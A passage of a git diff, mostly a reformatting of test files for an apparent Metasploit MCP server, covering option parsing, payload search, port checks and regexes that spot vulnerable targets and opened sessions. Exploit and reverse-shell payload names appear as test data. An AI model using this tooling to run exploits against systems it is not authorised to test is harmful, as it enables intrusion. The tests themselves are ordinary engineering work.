_parse_options_gracefully("LHOST=192.168.1.100,LPORT=4444") # Should log the conversion assert mock_logger.info.call_count >= 1 - + # Should contain conversion messages call_args = [call[0][0] for call in mock_logger.info.call_args_list] assert any("Converting string format" in msg for msg in call_args) @@ -298,7 +285,7 @@ def test_space_separated_with_complex_paths(self): "RHOSTS": "10.77.0.191", "RPORT": 80, "TARGETURI": "/cgi-bin/test.cgi", - "USERNAME": "admin" + "USERNAME": "admin", } result = _parse_options_gracefully(input_str) assert result == expected diff --git a/tests/test_payload_listing_improvements.py b/tests/test_payload_listing_improvements.py index 2717a43..84ec3ae 100644 --- a/tests/test_payload_listing_improvements.py +++ b/tests/test_payload_listing_improvements.py @@ -10,53 +10,53 @@ from unittest.mock import Mock, patch, AsyncMock # Add the parent directory to the path -sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..')) +sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..")) def test_list_payloads_signature(): """Test that list_payloads has the correct signature with compatible_with and search parameters.""" # Mock dependencies before importing - sys.modules['fastmcp'] = Mock() - sys.modules['pymetasploit3.msfrpc'] = Mock() - sys.modules['fastapi'] = Mock() - sys.modules['mcp.server.fastmcp'] = Mock() - sys.modules['mcp.server.sse'] = Mock() - sys.modules['mcp.server.session'] = Mock() - sys.modules['starlette.applications'] = Mock() - sys.modules['starlette.routing'] = Mock() - + sys.modules["fastmcp"] = Mock() + sys.modules["pymetasploit3.msfrpc"] = Mock() + sys.modules["fastapi"] = Mock() + sys.modules["mcp.server.fastmcp"] = Mock() + sys.modules["mcp.server.sse"] = Mock() + sys.modules["mcp.server.session"] = Mock() + sys.modules["starlette.applications"] = Mock() + sys.modules["starlette.routing"] = Mock() + # Clear any cached imports - if 'MetasploitMCP' in sys.modules: - del sys.modules['MetasploitMCP'] - + if "MetasploitMCP" in sys.modules: + del sys.modules["MetasploitMCP"] + # Now we can import and inspect import metasploit_mcp.server as MetasploitMCP import inspect - + # Check that list_payloads function exists - assert hasattr(MetasploitMCP, 'list_payloads'), "list_payloads function should exist" - + assert hasattr(MetasploitMCP, "list_payloads"), "list_payloads function should exist" + # Get the actual function (unwrap from FastMCP decorator if needed) list_payloads_obj = MetasploitMCP.list_payloads - if hasattr(list_payloads_obj, 'func'): + if hasattr(list_payloads_obj, "func"): list_payloads_func = list_payloads_obj.func - elif hasattr(list_payloads_obj, '__wrapped__'): + elif hasattr(list_payloads_obj, "__wrapped__"): list_payloads_func = list_payloads_obj.__wrapped__ else: # Try to get the original function from the tool list_payloads_func = list_payloads_obj - + # Get signature try: sig = inspect.signature(list_payloads_func) params = list(sig.parameters.keys()) - + # Check for expected parameters - assert 'platform' in params, "platform parameter should exist" - assert 'arch' in params, "arch parameter should exist" - assert 'compatible_with' in params, "compatible_with parameter should be added" - assert 'search' in params, "search parameter should be added" - + assert "platform" in params, "platform parameter should exist" + assert "arch" in params, "arch parameter should exist" + assert "compatible_with" in params, "compatible_with parameter should be added" + assert "search" in params, "search parameter should be added" + print(f"✓ list_payloads has correct signature: {params}") except Exception as e: print(f"Could not inspect signature (FastMCP wrapping): {e}") @@ -69,16 +69,16 @@ def test_invalid_payload_error_message_format(): # Test the error message format we're using module_name = "windows/smb/ms17_010_eternalblue" payload_name = "linux/x86/shell/reverse_tcp" - + # Simulated error message error_msg = f"Invalid payload specified: {payload_name}. " error_msg += f"To view compatible payloads for this exploit, use: list_payloads(compatible_with='{module_name}'). " - + assert "list_payloads" in error_msg assert "compatible_with" in error_msg assert module_name in error_msg assert payload_name in error_msg - + print(f"✓ Error message format is correct: {error_msg[:100]}...") @@ -87,16 +87,16 @@ def test_console_payload_error_message_format(): module_name = "windows/smb/ms17_010_eternalblue" cmd = "set PAYLOAD linux/x86/shell/reverse_tcp" setup_output = "[-] Error setting option PAYLOAD" - + # Simulated console error message error_msg = f"Error during setup command '{cmd}': {setup_output}" base_module_name = module_name error_msg += f"\n\nTo view compatible payloads for this exploit, use: list_payloads(compatible_with='{base_module_name}')" - + assert "list_payloads" in error_msg assert "compatible_with" in error_msg assert base_module_name in error_msg - + print(f"✓ Console error message format is correct") @@ -105,32 +105,30 @@ def test_compatible_payloads_access_pattern(): # Create a mock module object mock_module = Mock() mock_module.fullname = "exploit/windows/smb/ms17_010_eternalblue" - mock_module.payloads = [ - 'windows/x64/meterpreter/reverse_tcp', - 'windows/x64/shell/reverse_tcp' - ] - + mock_module.payloads = ["windows/x64/meterpreter/reverse_tcp", "windows/x64/shell/reverse_tcp"] + # Simulate accessing payloads payloads = mock_module.payloads - + assert isinstance(payloads, list) assert len(payloads) == 2 - assert 'windows/x64/meterpreter/reverse_tcp' in payloads - + assert "windows/x64/meterpreter/reverse_tcp" in payloads + print(f"✓ Compatible payloads access pattern works correctly") def test_attribute_error_handling(): """Test that AttributeError is handled when payloads doesn't exist.""" + class SimpleModule: fullname = "exploit/unix/ftp/vsftpd_234_backdoor" - + mock_module = SimpleModule() - + # Test that accessing a missing attribute raises AttributeError with pytest.raises(AttributeError): _ = mock_module.payloads - + print(f"✓ AttributeError handling pattern is correct") @@ -141,15 +139,15 @@ def test_module_name_extraction(): ("exploit/windows/smb/ms17_010_eternalblue", "exploit/windows/smb/ms17_010_eternalblue"), ("unix/ftp/vsftpd_234_backdoor", "unix/ftp/vsftpd_234_backdoor"), ] - + for module_name, expected in test_cases: # Simulate the extraction logic base_module_name = module_name - if '/' in module_name: - parts = module_name.split('/') - if parts[0] != 'exploit': + if "/" in module_name: + parts = module_name.split("/") + if parts[0] != "exploit": base_module_name = module_name - + assert base_module_name == expected print(f"✓ Module name extraction: {module_name} -> {base_module_name}") @@ -158,47 +156,47 @@ def test_search_term_simple_match(): """Test that search filters payloads with simple substring matching.""" # Sample payloads all_payloads = [ - 'windows/x64/meterpreter/reverse_tcp', - 'windows/x64/shell/reverse_tcp', - 'linux/x86/meterpreter/reverse_tcp', - 'unix/reverse_bash', - 'windows/reverse_powershell', + "windows/x64/meterpreter/reverse_tcp", + "windows/x64/shell/reverse_tcp", + "linux/x86/meterpreter/reverse_tcp", + "unix/reverse_bash", + "windows/reverse_powershell", ] - + # Test simple search - search = 'meterpreter' + search = "meterpreter" filtered = [p for p in all_payloads if search.lower() in p.lower()] - + assert len(filtered) == 2 - assert 'windows/x64/meterpreter/reverse_tcp' in filtered - assert 'linux/x86/meterpreter/reverse_tcp' in filtered - + assert "windows/x64/meterpreter/reverse_tcp" in filtered + assert "linux/x86/meterpreter/reverse_tcp" in filtered + print(f"✓ Simple search filtering works: '{search}' found {len(filtered)} payloads") def test_search_term_wildcard_match(): """Test that search supports wildcard matching with *.""" import re - + # Sample payloads all_payloads = [ - 'windows/x64/meterpreter/reverse_tcp', - 'windows/x64/shell/reverse_tcp', - 'linux/x86/meterpreter/reverse_tcp', - 'unix/reverse_bash', - 'windows/reverse_powershell', + "windows/x64/meterpreter/reverse_tcp", + "windows/x64/shell/reverse_tcp", + "linux/x86/meterpreter/reverse_tcp", + "unix/reverse_bash", + "windows/reverse_powershell", ] - + # Test wildcard search - search = '*/reverse*' - pattern = re.compile(search.lower().replace('*', '.*')) + search = "*/reverse*" + pattern = re.compile(search.lower().replace("*", ".*")) filtered = [p for p in all_payloads if pattern.search(p.lower())] - + assert len(filtered) == 5 # All payloads have 'reverse' in the name - assert 'unix/reverse_bash' in filtered - assert 'windows/reverse_powershell' in filtered - assert 'windows/x64/meterpreter/reverse_tcp' in filtered - + assert "unix/reverse_bash" in filtered + assert "windows/reverse_powershell" in filtered + assert "windows/x64/meterpreter/reverse_tcp" in filtered + print(f"✓ Wildcard search filtering works: '{search}' found {len(filtered)} payloads") @@ -206,40 +204,40 @@ def test_search_term_path_pattern(): """Test that search can match payload path patterns like 'linux/x86'.""" # Sample payloads all_payloads = [ - 'unix/reverse_bash', - 'windows/reverse_powershell', - 'linux/http', - 'linux/x86/meterpreter/reverse_tcp', - 'windows/exec', + "unix/reverse_bash", + "windows/reverse_powershell", + "linux/http", + "linux/x86/meterpreter/reverse_tcp", + "windows/exec", ] - + # Test path pattern search - search = 'linux/x86' + search = "linux/x86" filtered = [p for p in all_payloads if search.lower() in p.lower()] - + assert len(filtered) == 1 - assert 'linux/x86/meterpreter/reverse_tcp' in filtered - + assert "linux/x86/meterpreter/reverse_tcp" in filtered + print(f"✓ Path pattern search filtering works: '{search}' found {len(filtered)} payloads") def test_incompatible_payloads_error_message(): """Test that error message is returned when exploit module doesn't expose payloads.""" - exploit_module = 'exploit/multi/http/apache_mod_cgi_bash_env_exec' - + exploit_module = "exploit/multi/http/apache_mod_cgi_bash_env_exec" + # Expected error message format expected_error = ( f"Error: Exploit module '{exploit_module}' does not expose compatible payloads. " "Use list_payloads without compatible_with to search all payloads, then manually " "select appropriate payloads for your exploit." ) - + # Verify the error message contains key information assert "compatible payloads" in expected_error assert "compatible_with" in expected_error assert exploit_module in expected_error assert "manually select appropriate payloads" in expected_error - + print(f"✓ Incompatible payloads error message format is correct") @@ -247,27 +245,32 @@ def test_combined_filters(): """Test that search works in combination with other filters.""" # Sample payloads all_payloads = [ - 'windows/x64/meterpreter/reverse_tcp', - 'windows/x64/shell/reverse_tcp', - 'linux/x86/meterpreter/reverse_tcp', - 'linux/x64/shell/reverse_tcp', - 'unix/reverse_bash', + "windows/x64/meterpreter/reverse_tcp", + "windows/x64/shell/reverse_tcp", + "linux/x86/meterpreter/reverse_tcp", + "linux/x64/shell/reverse_tcp", + "unix/reverse_bash", ] - + # Filter by platform - platform = 'linux' - filtered = [p for p in all_payloads if p.lower().startswith(platform + '/') or f"/{platform}/" in p.lower()] - + platform = "linux" + filtered = [ + p + for p in all_payloads + if p.lower().startswith(platform + "/") or f"/{platform}/" in p.lower() + ] + # Then filter by search - search = 'meterpreter' + search = "meterpreter" filtered = [p for p in filtered if search.lower() in p.lower()] - + assert len(filtered) == 1 - assert 'linux/x86/meterpreter/reverse_tcp' in filtered - - print(f"✓ Combined filters work: platform='{platform}' + search='{search}' found {len(filtered)} payloads") + assert "linux/x86/meterpreter/reverse_tcp" in filtered + + print( + f"✓ Combined filters work: platform='{platform}' + search='{search}' found {len(filtered)} payloads" + ) if __name__ == "__main__": pytest.main([__file__, "-v"]) - diff --git a/tests/test_port_availability.py b/tests/test_port_availability.py index 77c0468..e0b45da 100644 --- a/tests/test_port_availability.py +++ b/tests/test_port_availability.py @@ -13,34 +13,37 @@ from typing import Tuple # Add the parent directory to the path to import metasploit_mcp.server as MetasploitMCP -sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..')) +sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..")) # Mock the dependencies that aren't available in test environment -sys.modules['uvicorn'] = Mock() -sys.modules['fastapi'] = Mock() -sys.modules['starlette.applications'] = Mock() -sys.modules['starlette.routing'] = Mock() +sys.modules["uvicorn"] = Mock() +sys.modules["fastapi"] = Mock() +sys.modules["starlette.applications"] = Mock() +sys.modules["starlette.routing"] = Mock() + # Create a special mock for FastMCP that preserves the tool decorator behavior class MockFastMCP: def __init__(self, *args, **kwargs): pass - + def tool(self): # Return a decorator that just returns the original function def decorator(func): return func + return decorator + # Mock the MCP modules with our custom FastMCP mcp_server_fastmcp = Mock() mcp_server_fastmcp.FastMCP = MockFastMCP -sys.modules['mcp.server.fastmcp'] = mcp_server_fastmcp -sys.modules['mcp.server.sse'] = Mock() -sys.modules['mcp.server.session'] = Mock() +sys.modules["mcp.server.fastmcp"] = mcp_server_fastmcp +sys.modules["mcp.server.sse"] = Mock() +sys.modules["mcp.server.session"] = Mock() # Mock pymetasploit3 module -sys.modules['pymetasploit3.msfrpc'] = Mock() +sys.modules["pymetasploit3.msfrpc"] = Mock() # Import the module after mocking dependencies import metasploit_mcp.server as MetasploitMCP @@ -51,23 +54,25 @@ def decorator(func): class TestCheckPortAvailableReturnType: """Test that check_port_available always returns Tuple[bool, str].""" - + async def test_return_type_is_tuple(self): """Test that the function returns a tuple.""" - result = await check_port_available(8080, '0.0.0.0') + result = await check_port_available(8080, "0.0.0.0") assert isinstance(result, tuple), f"Expected tuple, got {type(result)}" assert len(result) == 2, f"Expected tuple of length 2, got {len(result)}" - + async def test_return_type_has_correct_types(self): """Test that the tuple contains bool and str.""" - result = await check_port_available(8080, '0.0.0.0') + result = await check_port_available(8080, "0.0.0.0") is_available, error_msg = result - assert isinstance(is_available, bool), f"First element should be bool, got {type(is_available)}" + assert isinstance( + is_available, bool + ), f"First element should be bool, got {type(is_available)}" assert isinstance(error_msg, str), f"Second element should be str, got {type(error_msg)}" - + async def test_invalid_port_returns_tuple(self): """Test that invalid port returns Tuple[bool, str].""" - result = await check_port_available(0, '0.0.0.0') + result = await check_port_available(0, "0.0.0.0") assert isinstance(result, tuple), f"Expected tuple, got {type(result)}" assert len(result) == 2, f"Expected tuple of length 2, got {len(result)}" is_available, error_msg = result @@ -75,10 +80,10 @@ async def test_invalid_port_returns_tuple(self): assert isinstance(error_msg, str) assert is_available is False assert "Invalid port" in error_msg - + async def test_invalid_port_too_high_returns_tuple(self): """Test that port > 65535 returns Tuple[bool, str].""" - result = await check_port_available(70000, '0.0.0.0') + result = await check_port_available(70000, "0.0.0.0") assert isinstance(result, tuple), f"Expected tuple, got {type(result)}" assert len(result) == 2, f"Expected tuple of length 2, got {len(result)}" is_available, error_msg = result @@ -86,19 +91,19 @@ async def test_invalid_port_too_high_returns_tuple(self): assert isinstance(error_msg, str) assert is_available is False assert "Invalid port" in error_msg - - @patch('metasploit_mcp.server.psutil.net_connections') + + @patch("metasploit_mcp.server.psutil.net_connections") async def test_port_in_use_via_psutil_returns_tuple(self, mock_net_connections): """Test that when psutil detects port in use, it returns Tuple[bool, str].""" # Mock a connection using the port mock_conn = Mock() mock_conn.laddr = Mock() mock_conn.laddr.port = 4444 - mock_conn.status = 'LISTEN' + mock_conn.status = "LISTEN" mock_conn.raddr = None mock_net_connections.return_value = [mock_conn] - - result = await check_port_available(4444, '0.0.0.0') + + result = await check_port_available(4444, "0.0.0.0") assert isinstance(result, tuple), f"Expected tuple, got {type(result)}" assert len(result) == 2, f"Expected tuple of length 2, got {len(result)}" is_available, error_msg = result @@ -106,19 +111,19 @@ async def test_port_in_use_via_psutil_returns_tuple(self, mock_net_connections): assert isinstance(error_msg, str) assert is_available is False assert "already in use" in error_msg - - @patch('metasploit_mcp.server.psutil.net_connections') - @patch('socket.socket') + + @patch("metasploit_mcp.server.psutil.net_connections") + @patch("socket.socket") async def test_port_available_returns_tuple(self, mock_socket, mock_net_connections): """Test that when port is available, it returns Tuple[bool, str].""" # Mock psutil to return no connections mock_net_connections.return_value = [] - + # Mock socket to successfully bind mock_sock = MagicMock() mock_socket.return_value.__enter__.return_value = mock_sock - - result = await check_port_available(8080, '0.0.0.0') + + result = await check_port_available(8080, "0.0.0.0") assert isinstance(result, tuple), f"Expected tuple, got {type(result)}" assert len(result) == 2, f"Expected tuple of length 2, got {len(result)}" is_available, error_msg = result @@ -126,20 +131,22 @@ async def test_port_available_returns_tuple(self, mock_socket, mock_net_connecti assert isinstance(error_msg, str) assert is_available is True assert error_msg == "" - - @patch('metasploit_mcp.server.psutil.net_connections') - @patch('socket.socket') - async def test_port_unavailable_socket_bind_returns_tuple(self, mock_socket, mock_net_connections): + + @patch("metasploit_mcp.server.psutil.net_connections") + @patch("socket.socket") + async def test_port_unavailable_socket_bind_returns_tuple( + self, mock_socket, mock_net_connections + ): """Test that when socket.bind fails, it returns Tuple[bool, str].""" # Mock psutil to return no connections (fall through to socket check) mock_net_connections.return_value = [] - + # Mock socket to fail on bind mock_sock = MagicMock() mock_sock.bind.side_effect = OSError("Address already in use") mock_socket.return_value.__enter__.return_value = mock_sock - - result = await check_port_available(4444, '0.0.0.0') + + result = await check_port_available(4444, "0.0.0.0") assert isinstance(result, tuple), f"Expected tuple, got {type(result)}" assert len(result) == 2, f"Expected tuple of length 2, got {len(result)}" is_available, error_msg = result @@ -147,39 +154,44 @@ async def test_port_unavailable_socket_bind_returns_tuple(self, mock_socket, moc assert isinstance(error_msg, str) assert is_available is False assert "already in use" in error_msg - - @patch('metasploit_mcp.server.psutil.net_connections') - @patch('socket.socket') - async def test_psutil_access_denied_fallback_returns_tuple(self, mock_socket, mock_net_connections): + + @patch("metasploit_mcp.server.psutil.net_connections") + @patch("socket.socket") + async def test_psutil_access_denied_fallback_returns_tuple( + self, mock_socket, mock_net_connections + ): """Test that when psutil raises AccessDenied, fallback returns Tuple[bool, str].""" import psutil + # Mock psutil to raise AccessDenied mock_net_connections.side_effect = psutil.AccessDenied() - + # Mock socket to successfully bind mock_sock = MagicMock() mock_socket.return_value.__enter__.return_value = mock_sock - - result = await check_port_available(8080, '0.0.0.0') + + result = await check_port_available(8080, "0.0.0.0") assert isinstance(result, tuple), f"Expected tuple, got {type(result)}" assert len(result) == 2, f"Expected tuple of length 2, got {len(result)}" is_available, error_msg = result assert isinstance(is_available, bool) assert isinstance(error_msg, str) - - @patch('metasploit_mcp.server.psutil.net_connections') - @patch('socket.socket') - async def test_exception_during_socket_bind_returns_tuple(self, mock_socket, mock_net_connections): + + @patch("metasploit_mcp.server.psutil.net_connections") + @patch("socket.socket") + async def test_exception_during_socket_bind_returns_tuple( + self, mock_socket, mock_net_connections + ): """Test that when an exception occurs during socket bind, it returns Tuple[bool, str].""" # Mock psutil to return no connections mock_net_connections.return_value = [] - + # Mock socket to raise a generic exception mock_sock = MagicMock() mock_sock.bind.side_effect = Exception("Unexpected error") mock_socket.return_value.__enter__.return_value = mock_sock - - result = await check_port_available(4444, '0.0.0.0') + + result = await check_port_available(4444, "0.0.0.0") assert isinstance(result, tuple), f"Expected tuple, got {type(result)}" assert len(result) == 2, f"Expected tuple of length 2, got {len(result)}" is_available, error_msg = result @@ -187,57 +199,61 @@ async def test_exception_during_socket_bind_returns_tuple(self, mock_socket, moc assert isinstance(error_msg, str) assert is_available is False assert "Error checking port" in error_msg - + async def test_all_return_paths_are_tuples(self): """Comprehensive test to ensure all code paths return Tuple[bool, str].""" test_cases = [ # (port, host, description) - (0, '0.0.0.0', 'invalid port too low'), - (70000, '0.0.0.0', 'invalid port too high'), - (8080, '0.0.0.0', 'valid port'), - (4444, '127.0.0.1', 'valid port with specific host'), + (0, "0.0.0.0", "invalid port too low"), + (70000, "0.0.0.0", "invalid port too high"), + (8080, "0.0.0.0", "valid port"), + (4444, "127.0.0.1", "valid port with specific host"), ] - + for port, host, description in test_cases: - with patch('metasploit_mcp.server.psutil.net_connections', return_value=[]): - with patch('socket.socket') as mock_socket: + with patch("metasploit_mcp.server.psutil.net_connections", return_value=[]): + with patch("socket.socket") as mock_socket: mock_sock = MagicMock() mock_socket.return_value.__enter__.return_value = mock_sock - + result = await check_port_available(port, host) - assert isinstance(result, tuple), \ - f"Failed for {description}: Expected tuple, got {type(result)}" - assert len(result) == 2, \ - f"Failed for {description}: Expected tuple of length 2, got {len(result)}" + assert isinstance( + result, tuple + ), f"Failed for {description}: Expected tuple, got {type(result)}" + assert ( + len(result) == 2 + ), f"Failed for {description}: Expected tuple of length 2, got {len(result)}" is_available, error_msg = result - assert isinstance(is_available, bool), \ - f"Failed for {description}: First element should be bool, got {type(is_available)}" - assert isinstance(error_msg, str), \ - f"Failed for {description}: Second element should be str, got {type(error_msg)}" + assert isinstance( + is_available, bool + ), f"Failed for {description}: First element should be bool, got {type(is_available)}" + assert isinstance( + error_msg, str + ), f"Failed for {description}: Second element should be str, got {type(error_msg)}" class TestCheckPortAvailableUnpacking: """Test that check_port_available can be correctly unpacked as (bool, str).""" - + async def test_can_unpack_result(self): """Test that the result can be unpacked into two variables.""" - port_available, port_error = await check_port_available(8080, '0.0.0.0') + port_available, port_error = await check_port_available(8080, "0.0.0.0") assert isinstance(port_available, bool) assert isinstance(port_error, str) - + async def test_unpacking_matches_usage_pattern(self): """Test that unpacking matches the actual usage pattern in the codebase.""" # This is how it's used in the codebase: # port_available, port_error = check_port_available(bind_port, bind_address) bind_port = 4444 - bind_address = '0.0.0.0' - + bind_address = "0.0.0.0" + port_available, port_error = await check_port_available(bind_port, bind_address) - + # Verify types assert isinstance(port_available, bool) assert isinstance(port_error, str) - + # Verify the values make sense if port_available: assert port_error == "" @@ -247,28 +263,28 @@ async def test_unpacking_matches_usage_pattern(self): class TestValidateBindAddressReturnType: """Test that validate_bind_address always returns Tuple[bool, str] (similar function).""" - + async def test_validate_bind_address_return_type_is_tuple(self): """Test that validate_bind_address returns a tuple.""" from metasploit_mcp.server import validate_bind_address - + result = await validate_bind_address("0.0.0.0") assert isinstance(result, tuple), f"Expected tuple, got {type(result)}" assert len(result) == 2, f"Expected tuple of length 2, got {len(result)}" - + async def test_validate_bind_address_return_type_has_correct_types(self): """Test that the tuple contains bool and str.""" from metasploit_mcp.server import validate_bind_address - + result = await validate_bind_address("0.0.0.0") is_valid, error_msg = result assert isinstance(is_valid, bool), f"First element should be bool, got {type(is_valid)}" assert isinstance(error_msg, str), f"Second element should be str, got {type(error_msg)}" - + async def test_validate_bind_address_all_paths_return_tuple(self): """Test all code paths return Tuple[bool, str].""" from metasploit_mcp.server import validate_bind_address - + test_cases = [ ("0.0.0.0", "wildcard IPv4"), ("::", "wildcard IPv6"), @@ -276,21 +292,26 @@ async def test_validate_bind_address_all_paths_return_tuple(self): ("invalid.ip", "invalid format"), ("127.0.0.1", "loopback"), ] - + for address, description in test_cases: - with patch('metasploit_mcp.server.get_local_ip_addresses', return_value=['127.0.0.1', '::1']): + with patch( + "metasploit_mcp.server.get_local_ip_addresses", return_value=["127.0.0.1", "::1"] + ): result = await validate_bind_address(address) - assert isinstance(result, tuple), \ - f"Failed for {description}: Expected tuple, got {type(result)}" - assert len(result) == 2, \ - f"Failed for {description}: Expected tuple of length 2, got {len(result)}" + assert isinstance( + result, tuple + ), f"Failed for {description}: Expected tuple, got {type(result)}" + assert ( + len(result) == 2 + ), f"Failed for {description}: Expected tuple of length 2, got {len(result)}" is_valid, error_msg = result - assert isinstance(is_valid, bool), \ - f"Failed for {description}: First element should be bool, got {type(is_valid)}" - assert isinstance(error_msg, str), \ - f"Failed for {description}: Second element should be str, got {type(error_msg)}" + assert isinstance( + is_valid, bool + ), f"Failed for {description}: First element should be bool, got {type(is_valid)}" + assert isinstance( + error_msg, str + ), f"Failed for {description}: Second element should be str, got {type(error_msg)}" if __name__ == "__main__": pytest.main([__file__, "-v"]) - diff --git a/tests/test_regex_patterns_and_exit_terms.py b/tests/test_regex_patterns_and_exit_terms.py index 4972481..0d4be99 100644 --- a/tests/test_regex_patterns_and_exit_terms.py +++ b/tests/test_regex_patterns_and_exit_terms.py @@ -13,23 +13,24 @@ from typing import Dict, Any # Add the parent directory to the path to import metasploit_mcp.server as MetasploitMCP -sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..')) +sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..")) # Mock the dependencies that aren't available in test environment mock_uvicorn = Mock() mock_uvicorn.server = Mock() -sys.modules['uvicorn'] = mock_uvicorn -sys.modules['uvicorn.server'] = mock_uvicorn.server -sys.modules['fastapi'] = Mock() -sys.modules['mcp.server.fastmcp'] = Mock() -sys.modules['mcp.server.sse'] = Mock() -sys.modules['pymetasploit3.msfrpc'] = Mock() -sys.modules['starlette.applications'] = Mock() -sys.modules['starlette.routing'] = Mock() -sys.modules['mcp.server.session'] = Mock() -sys.modules['fastmcp'] = Mock() -sys.modules['fastmcp.client'] = Mock() -sys.modules['fastmcp.client.transports'] = Mock() +sys.modules["uvicorn"] = mock_uvicorn +sys.modules["uvicorn.server"] = mock_uvicorn.server +sys.modules["fastapi"] = Mock() +sys.modules["mcp.server.fastmcp"] = Mock() +sys.modules["mcp.server.sse"] = Mock() +sys.modules["pymetasploit3.msfrpc"] = Mock() +sys.modules["starlette.applications"] = Mock() +sys.modules["starlette.routing"] = Mock() +sys.modules["mcp.server.session"] = Mock() +sys.modules["fastmcp"] = Mock() +sys.modules["fastmcp.client"] = Mock() +sys.modules["fastmcp.client.transports"] = Mock() + # Create mock classes for MSF objects class MockMsfRpcClient: @@ -40,23 +41,26 @@ def __init__(self): self.jobs = Mock() self.consoles = Mock() + class MockMsfConsole: - def __init__(self, cid='test-console-id'): + def __init__(self, cid="test-console-id"): self.cid = cid - + def read(self): - return {'data': 'test output', 'prompt': 'msf6 > ', 'busy': False} - + return {"data": "test output", "prompt": "msf6 > ", "busy": False} + def write(self, command): return True + class MockMsfRpcError(Exception): pass + # Patch the MSF modules -sys.modules['pymetasploit3.msfrpc'].MsfRpcClient = MockMsfRpcClient -sys.modules['pymetasploit3.msfrpc'].MsfConsole = MockMsfConsole -sys.modules['pymetasploit3.msfrpc'].MsfRpcError = MockMsfRpcError +sys.modules["pymetasploit3.msfrpc"].MsfRpcClient = MockMsfRpcClient +sys.modules["pymetasploit3.msfrpc"].MsfConsole = MockMsfConsole +sys.modules["pymetasploit3.msfrpc"].MsfRpcError = MockMsfRpcError # Import after mocking from metasploit_mcp.server import ( @@ -67,7 +71,7 @@ class MockMsfRpcError(Exception): CHECK_NOT_SUPPORTED_RE, run_command_safely, _execute_module_console, - get_msf_console + get_msf_console, ) @@ -81,7 +85,7 @@ def _mock_msf_client_instance(): console.write.return_value = True client.consoles.console.return_value = console client.consoles.destroy.return_value = "destroyed" - with patch.object(sys.modules['MetasploitMCP'], "_msf_client_instance", client): + with patch.object(sys.modules["metasploit_mcp.server"], "_msf_client_instance", client): yield client @@ -102,11 +106,13 @@ def test_is_vulnerable_re_patterns(self): ("IS VULNERABLE", True), # Case insensitive ("Appears Vulnerable", True), # Case insensitive ] - + for text, should_match in test_cases: - text_bytes = text.encode('utf-8', errors='replace') + text_bytes = text.encode("utf-8", errors="replace") result = bool(IS_VULNERABLE_RE.search(text_bytes)) - assert result == should_match, f"Pattern {'should' if should_match else 'should not'} match: '{text}'" + assert ( + result == should_match + ), f"Pattern {'should' if should_match else 'should not'} match: '{text}'" def test_is_not_vulnerable_re_patterns(self): """Test IS_NOT_VULNERABLE_RE matches various non-vulnerability indicators.""" @@ -122,11 +128,13 @@ def test_is_not_vulnerable_re_patterns(self): ("does not appear to be vulnerable", False), # Close but not exact match ("target is not vulnerable to this", True), ] - + for text, should_match in test_cases: - text_bytes = text.encode('utf-8', errors='replace') + text_bytes = text.encode("utf-8", errors="replace") result = bool(IS_NOT_VULNERABLE_RE.search(text_bytes)) - assert result == should_match, f"Pattern {'should' if should_match else 'should not'} match: '{text}'" + assert ( + result == should_match + ), f"Pattern {'should' if should_match else 'should not'} match: '{text}'" def test_session_opened_re_patterns(self): """Test SESSION_OPENED_RE matches session opened messages.""" @@ -143,11 +151,13 @@ def test_session_opened_re_patterns(self): ("meterpreter session 1", False), # Missing "opened" ("opened session 1", False), # Wrong order ] - + for text, should_match in test_cases: - text_bytes = text.encode('utf-8', errors='replace') + text_bytes = text.encode("utf-8", errors="replace") result = bool(SESSION_OPENED_RE.search(text_bytes)) - assert result == should_match, f"Pattern {'should' if should_match else 'should not'} match: '{text}'" + assert ( + result == should_match + ), f"Pattern {'should' if should_match else 'should not'} match: '{text}'" def test_failed_to_load_module_re_patterns(self): """Test FAILED_TO_LOAD_MODULE_RE matches various module load failure indicators.""" @@ -161,11 +171,13 @@ def test_failed_to_load_module_re_patterns(self): ("Module loaded successfully", False), # Should not match ("[-] Failed to load module:", True), # Even without module name ] - + for text, should_match in test_cases: - text_bytes = text.encode('utf-8', errors='replace') + text_bytes = text.encode("utf-8", errors="replace") result = bool(FAILED_TO_LOAD_MODULE_RE.search(text_bytes)) - assert result == should_match, f"Pattern {'should' if should_match else 'should not'} match: '{text}'" + assert ( + result == should_match + ), f"Pattern {'should' if should_match else 'should not'} match: '{text}'" def test_check_not_supported_re_patterns(self): """Test CHECK_NOT_SUPPORTED_RE matches module check not supported messages.""" @@ -180,11 +192,13 @@ def test_check_not_supported_re_patterns(self): ("This module supports check", False), # Should not match ("Check is supported", False), # Should not match ] - + for text, should_match in test_cases: - text_bytes = text.encode('utf-8', errors='replace') + text_bytes = text.encode("utf-8", errors="replace") result = bool(CHECK_NOT_SUPPORTED_RE.search(text_bytes)) - assert result == should_match, f"Pattern {'should' if should_match else 'should not'} match: '{text}'" + assert ( + result == should_match + ), f"Pattern {'should' if should_match else 'should not'} match: '{text}'" def test_regex_patterns_are_compiled(self): """Test that regex patterns are properly compiled.""" @@ -193,7 +207,7 @@ def test_regex_patterns_are_compiled(self): assert isinstance(SESSION_OPENED_RE, re.Pattern) assert isinstance(FAILED_TO_LOAD_MODULE_RE, re.Pattern) assert isinstance(CHECK_NOT_SUPPORTED_RE, re.Pattern) - + # Verify they are bytes patterns (pattern is bytes type) assert isinstance(IS_VULNERABLE_RE.pattern, bytes) assert isinstance(IS_NOT_VULNERABLE_RE.pattern, bytes) @@ -218,42 +232,33 @@ async def test_run_command_safely_with_exit_terms_vulnerable(self, mock_console) """Test that exit terms cause early return when vulnerability detected.""" # Simulate console output with vulnerability indicator call_count = 0 + def mock_read(): nonlocal call_count call_count += 1 if call_count == 1: # First read: return vulnerability message - return { - 'data': 'The target appears vulnerable\n', - 'prompt': '', - 'busy': False - } + return {"data": "The target appears vulnerable\n", "prompt": "", "busy": False} elif call_count <= 5: # Subsequent reads: no new data (simulating idle period) - return { - 'data': '', - 'prompt': '', - 'busy': False - } + return {"data": "", "prompt": "", "busy": False} else: # After idle period, return prompt return { - 'data': '', - 'prompt': '\x01\x02msf6\x01\x02 \x01\x02> \x01\x02', - 'busy': False + "data": "", + "prompt": "\x01\x02msf6\x01\x02 \x01\x02> \x01\x02", + "busy": False, } - + mock_console.read.side_effect = mock_read - + # Use IS_VULNERABLE_RE as exit term result = await run_command_safely( - mock_console, - 'check', - exit_terms_regexes=[IS_VULNERABLE_RE] + mock_console, "check", 